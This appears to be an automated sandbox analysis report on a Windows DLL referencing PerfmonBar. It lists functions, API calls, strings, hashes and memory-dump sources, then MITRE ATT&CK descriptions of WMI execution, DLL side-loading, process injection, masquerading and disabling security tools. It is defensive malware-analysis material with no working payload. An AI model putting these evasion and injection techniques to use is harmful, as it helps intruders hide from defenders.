Opcode Fuzzy Hash: adf1d1d898576e0f5376e64b650081fcb0dde49c1d0c33a0963ac2de064867e8
Instruction Fuzzy Hash: 4EF04F71504A05D78E84EB98E6C9C5A77DDFF547587604C19F418D7744CB20F8918BF0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED375F0, Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 6ED375FC
GetLastError.KERNEL32(8007000E,?,?,?,00000000), ref: 6ED37601
_com_issue_error.COMSUPP ref: 6ED37614
GetLastError.KERNEL32(?,?,?,00000000), ref: 6ED37622
_com_issue_error.COMSUPP ref: 6ED37635

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ErrorLast
String ID:
API String ID: 1321852664-0
Opcode ID: 12d560d51e13dc0d9bd1208af48d4feab09144cd572ec8d43c3d1774c5237e6f
Instruction ID: ce9403b3b9af2c5971668afe885118710ec21d691c44de08853c26c5066a2294
Opcode Fuzzy Hash: 12d560d51e13dc0d9bd1208af48d4feab09144cd572ec8d43c3d1774c5237e6f
Instruction Fuzzy Hash: 05E08CA1400A3AF6D6006BF50C083AF214C2B02125B304F04A058E50D8EF2DC10286B9

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3ED27, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 498COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6ED3F036

Strings

Z, xrefs: 6ED3EDE4
:, xrefs: 6ED3EDCE
A, xrefs: 6ED3EDDD

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z
API String ID: 1302938615-166580712
Opcode ID: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction ID: 087a1da9944a4b6cf58343b4918708754569e037828caf08c8b3f8e5c613f05b
Opcode Fuzzy Hash: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction Fuzzy Hash: B5F1C7BC51422EDAFB10CBE5E8906EDB3B2EB52714BF44626D850BB2C5D7708E89C711

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B82F, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED4B9C9

Strings

*?, xrefs: 6ED4B872

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction ID: cac2e8effbbbd27aca554af27d837960f0a3de16c9b0e4b7b1595a9c130c006a
Opcode Fuzzy Hash: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction Fuzzy Hash: 11614875E04219DF9B14CFE8C8805EEFBF9EF68314B24856AD854E7348D731AE418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED22570, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6ED2260F

Part of subcall function 6ED3838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6ED352C0,?,6ED6A014,?,?,?,24448D6E), ref: 6ED383EE

Strings

ios_base::badbit set, xrefs: 6ED225A7, 6ED225D2, 6ED225F3
ios_base::eofbit set, xrefs: 6ED225B6
ios_base::failbit set, xrefs: 6ED224A5, 6ED225B1

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 7c9e58178f2940a7b122d3fdbbe6e909d3f49107b9fdc9eb2a688df510dce421
Instruction ID: a81c4977266397507cbe5cf77e6345379a155e30c6bed2e8e0f9399b43b074f9
Opcode Fuzzy Hash: 7c9e58178f2940a7b122d3fdbbe6e909d3f49107b9fdc9eb2a688df510dce421
Instruction Fuzzy Hash: E01105B2910705AFCB00CFE8D811BC6B3ACAF55218F14892AFA64DB781F771E95487E1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48C8A, Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6ED48D11

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction ID: 73b4efdfd21126e82a91976827aa97ec9f2609114c80ff07d301c71c0560c956
Opcode Fuzzy Hash: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction Fuzzy Hash: 5BB1077A905246DFDB01CFA8C8907EEBBF5EF65380F1445AAE854AB341D735C901CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED39BE3, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6ED39CAA
___AdjustPointer.LIBCMT ref: 6ED39CCD
___AdjustPointer.LIBCMT ref: 6ED39D69

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 749345edbac731abce930a739a39ae972fbcf2bb2ee5d59d07964efaad56cc29
Instruction ID: d21f75ed077f8cf898067166441742f464069959a7df0f2fbc849c1d01a5ce95
Opcode Fuzzy Hash: 749345edbac731abce930a739a39ae972fbcf2bb2ee5d59d07964efaad56cc29
Instruction Fuzzy Hash: 7751F372604623EFEB468FD5E851BAA77B4EF06315F30052DE85647298EF32D841C760

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27D80, Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 6ED27DB1

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 05d36651e6e150a57ce61ec10e39854ab7c1656d14c8bdfc65ec16360cfa585d
Instruction ID: 8bd85733e544d32914d52e4d292ca1d9cb2cef69cd771f08ebc105c5622dfd93
Opcode Fuzzy Hash: 05d36651e6e150a57ce61ec10e39854ab7c1656d14c8bdfc65ec16360cfa585d
Instruction Fuzzy Hash: 7931C732B08216DF9B18CEAED49167EBBE5EF45770710827EED15C7284EB31D850C690

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B760, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6ED47C0A: _free.LIBCMT ref: 6ED47C18

Part of subcall function 6ED4C80B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,6ED4E018,?,00000000,00000000), ref: 6ED4C8AD

GetLastError.KERNEL32 ref: 6ED4B7C8
__dosmaperr.LIBCMT ref: 6ED4B7CF
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6ED4B80E
__dosmaperr.LIBCMT ref: 6ED4B815

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ed4c106732fadb3a6c772d4ee079c5d735c326b6d80a9af21d2b3733ef5b19ec
Instruction ID: 8b26a71245c79c81a3b909a749d590fffe81cc5c797c83969beedbb740a75227
Opcode Fuzzy Hash: ed4c106732fadb3a6c772d4ee079c5d735c326b6d80a9af21d2b3733ef5b19ec
Instruction Fuzzy Hash: 4021B371604615EF97109FE6CC809AFB7ACFF753687044918E8659B298E731ED418BB0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4897C, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48981
_free.LIBCMT ref: 6ED489DE
_free.LIBCMT ref: 6ED48A14
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48A1F

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 8ceb0f2ea46351ed08858c32030d233706d4000be641ab00c8eb4ff85d2e5a87
Instruction ID: 2913f0ae51247874ad331a609ccfaa58bdcc8c51efb5700854edec31629d0e6c
Opcode Fuzzy Hash: 8ceb0f2ea46351ed08858c32030d233706d4000be641ab00c8eb4ff85d2e5a87
Instruction Fuzzy Hash: DA112036204945FFFB416BF99C80E6B36ADEBE22FCB340524F124661C4EFA0C80641B1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48AD3, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6ED44AA1,6ED482CF,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?), ref: 6ED48AD8
_free.LIBCMT ref: 6ED48B35
_free.LIBCMT ref: 6ED48B6B
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED48B76

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 67aa45e90e33323bfa448492892715f8a8bcc10b23b58a0605b8714f8dbe1a9a
Instruction ID: 832fb8ecb1ba25f4eccb3eb25dba3e8e14504126e32e296bac643c3015da3a1d
Opcode Fuzzy Hash: 67aa45e90e33323bfa448492892715f8a8bcc10b23b58a0605b8714f8dbe1a9a
Instruction Fuzzy Hash: FE11EC76614605FFEB416BF99C80D5A366DEBE22F8B340624F124A61C4EF61C80645B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED56EEE, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6ED46918,00000000,?,?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001), ref: 6ED56F05
GetLastError.KERNEL32(?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000,00000001,?,6ED4EDAE,6ED4685B), ref: 6ED56F11

Part of subcall function 6ED56ED7: CloseHandle.KERNEL32(FFFFFFFE,6ED56F21,?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000,00000001), ref: 6ED56EE7

___initconout.LIBCMT ref: 6ED56F21

Part of subcall function 6ED56E99: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6ED56EC8,6ED5630A,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000), ref: 6ED56EAC

WriteConsoleW.KERNEL32(?,?,6ED46918,00000000,?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000), ref: 6ED56F36

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3ea6428cc1050077ba688b0fdc2957ca80ee0164d6c427a6b312bce93eb46215
Instruction ID: 0d20e50d955c89d8c90d99652b83e1263b064fbade94d7e6d2417d221d24248d
Opcode Fuzzy Hash: 3ea6428cc1050077ba688b0fdc2957ca80ee0164d6c427a6b312bce93eb46215
Instruction Fuzzy Hash: 26F01C36521625BBDF521FE5DC0498E3F36FF097A0F154411FA1895260C732C831DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27E90, Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 6ED27E97
VariantCopy.OLEAUT32(?,?), ref: 6ED27EA1
_com_issue_error.COMSUPP ref: 6ED27EB3
VariantClear.OLEAUT32 ref: 6ED27EC1

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearCopyInit_com_issue_error
String ID:
API String ID: 309108855-0
Opcode ID: e552fd807f14b2cf8173f396970fda67146d260ec06962c22a1e5b49e8b058b7
Instruction ID: ae66137afb5de0f8813afc3e7d7cac5d68009011f29e2e377fabbd82cc1582b9
Opcode Fuzzy Hash: e552fd807f14b2cf8173f396970fda67146d260ec06962c22a1e5b49e8b058b7
Instruction Fuzzy Hash: 7BD05E722019397BAE152BE59D0DECB7F5CFE022563005921F714C1500DB7AC90187F4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4598D, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED45996

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED459A9
_free.LIBCMT ref: 6ED459BA
_free.LIBCMT ref: 6ED459CB

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7d014d93bebad692537e3387e1d4b3a8959d8018670a7a8c676e27e758855fc4
Instruction ID: efcce917310945080129df82eddf71240b4de7b53a8c7e6c4ba9231007e69d59
Opcode Fuzzy Hash: 7d014d93bebad692537e3387e1d4b3a8959d8018670a7a8c676e27e758855fc4
Instruction Fuzzy Hash: E1E04F74424D20DBEE911F50CA404E53B35EBDA798B51481AF80082298C73906539BF2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2BD70, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 202COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6ED2BEED
std::_Xinvalid_argument.LIBCPMT ref: 6ED2BFAC

Strings

unordered_map/set too long, xrefs: 6ED2BFA7

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: 6a4367922501234dbe60bea024265c19d0d2fdc1dee91883062f006a404ef47b
Instruction ID: b292bf08079d8d2557fdd990c60e4f45c7be1446eca9b52e0fa3952249040589
Opcode Fuzzy Hash: 6a4367922501234dbe60bea024265c19d0d2fdc1dee91883062f006a404ef47b
Instruction Fuzzy Hash: 3171AE71A04609CFDB11CFA9C490A9EFBF4FF49318F10866AE555AB381E771A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED478ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6ED4797D

Strings

pow, xrefs: 6ED47955, 6ED47972

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: bc4246c3c2bf391f3d919b4e65b1cb77cdab8fd70a8671be4a95f6443d13fab4
Instruction ID: ef06c49b0a553d3aadc30746a31c515f1aab4e972cb608f45cd64a43d1b07294
Opcode Fuzzy Hash: bc4246c3c2bf391f3d919b4e65b1cb77cdab8fd70a8671be4a95f6443d13fab4
Instruction Fuzzy Hash: A5515A61A19A02EBDF417FD4C91139A3BB4EB51750F208D69E4E5823DCEF34C4E98B82

Uniqueness

Uniqueness Score: -1.00%

Function 6ED339A0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6ED33AE2
std::_Xinvalid_argument.LIBCPMT ref: 6ED33BAB

Strings

unordered_map/set too long, xrefs: 6ED33BA6

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: a8733e56e1394cf1c09c9d6045484bf1bcf6cadaf36ac79b5eeb8d2b91bbe496
Instruction ID: a24f230d80eef823ec0f16a2052dc342662567acd66791ca75f6ec6b7bacc29b
Opcode Fuzzy Hash: a8733e56e1394cf1c09c9d6045484bf1bcf6cadaf36ac79b5eeb8d2b91bbe496
Instruction Fuzzy Hash: 34619F70E0461ADFCB15CFA9C544A9EF7B5FF4A304F20866AD415AB241E731E991CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED22490, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6ED2260F

Part of subcall function 6ED3838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6ED352C0,?,6ED6A014,?,?,?,24448D6E), ref: 6ED383EE

Strings

ios_base::badbit set, xrefs: 6ED225A7, 6ED225D2, 6ED225F3
ios_base::failbit set, xrefs: 6ED224A5

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 798151d5c37a5dc079d2fa793d8f08d0c889c8031ffc24f81d5cba12f85c4c18
Instruction ID: 7f7452a321633b585f945ce9fee8b16c09df2f2385de7f31b560a8e2591f6d9c
Opcode Fuzzy Hash: 798151d5c37a5dc079d2fa793d8f08d0c889c8031ffc24f81d5cba12f85c4c18
Instruction Fuzzy Hash: 3341C6B1910205AFDB04CFA8C850BDEF7BCEF4A318F14852AF554A7780E775A9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2AF10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

\PerfmonBar\config.xml, xrefs: 6ED2ADB9

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: \PerfmonBar\config.xml
API String ID: 0-3729978544
Opcode ID: 10738631d5e6eea1141bc111a9f787d7e31c35d3b1b24f8a8f268d481026fa25
Instruction ID: 496682d959477287bfb949b87a5963979002d1bba794240d01ca370c4dd2477a
Opcode Fuzzy Hash: 10738631d5e6eea1141bc111a9f787d7e31c35d3b1b24f8a8f268d481026fa25
Instruction Fuzzy Hash: 5C31BAB0D00A58DFEB10CFA8C944B9EBBF4FF08718F004269E915AB380D735A905CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED21A70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6ED21A75

Part of subcall function 6ED352A1: std::invalid_argument::invalid_argument.LIBCONCRT ref: 6ED352AD

___std_exception_copy.LIBVCRUNTIME ref: 6ED21A9E

Strings

string too long, xrefs: 6ED21A70

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument___std_exception_copystd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 1846318660-2556327735
Opcode ID: 298f0516ff68341fa62f2ccfb379cbe179f64f81f99be27bc40ff18fb218c8c3
Instruction ID: 0ffcca8deb8bbdfe2cfb4916c77fbddafd2b1b2c78172f653c6662fe563e8f4b
Opcode Fuzzy Hash: 298f0516ff68341fa62f2ccfb379cbe179f64f81f99be27bc40ff18fb218c8c3
Instruction Fuzzy Hash: 28E0C2729202696BCA109FD8DC018C6B79DDF16518720892BF758EB700E770E89087B4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
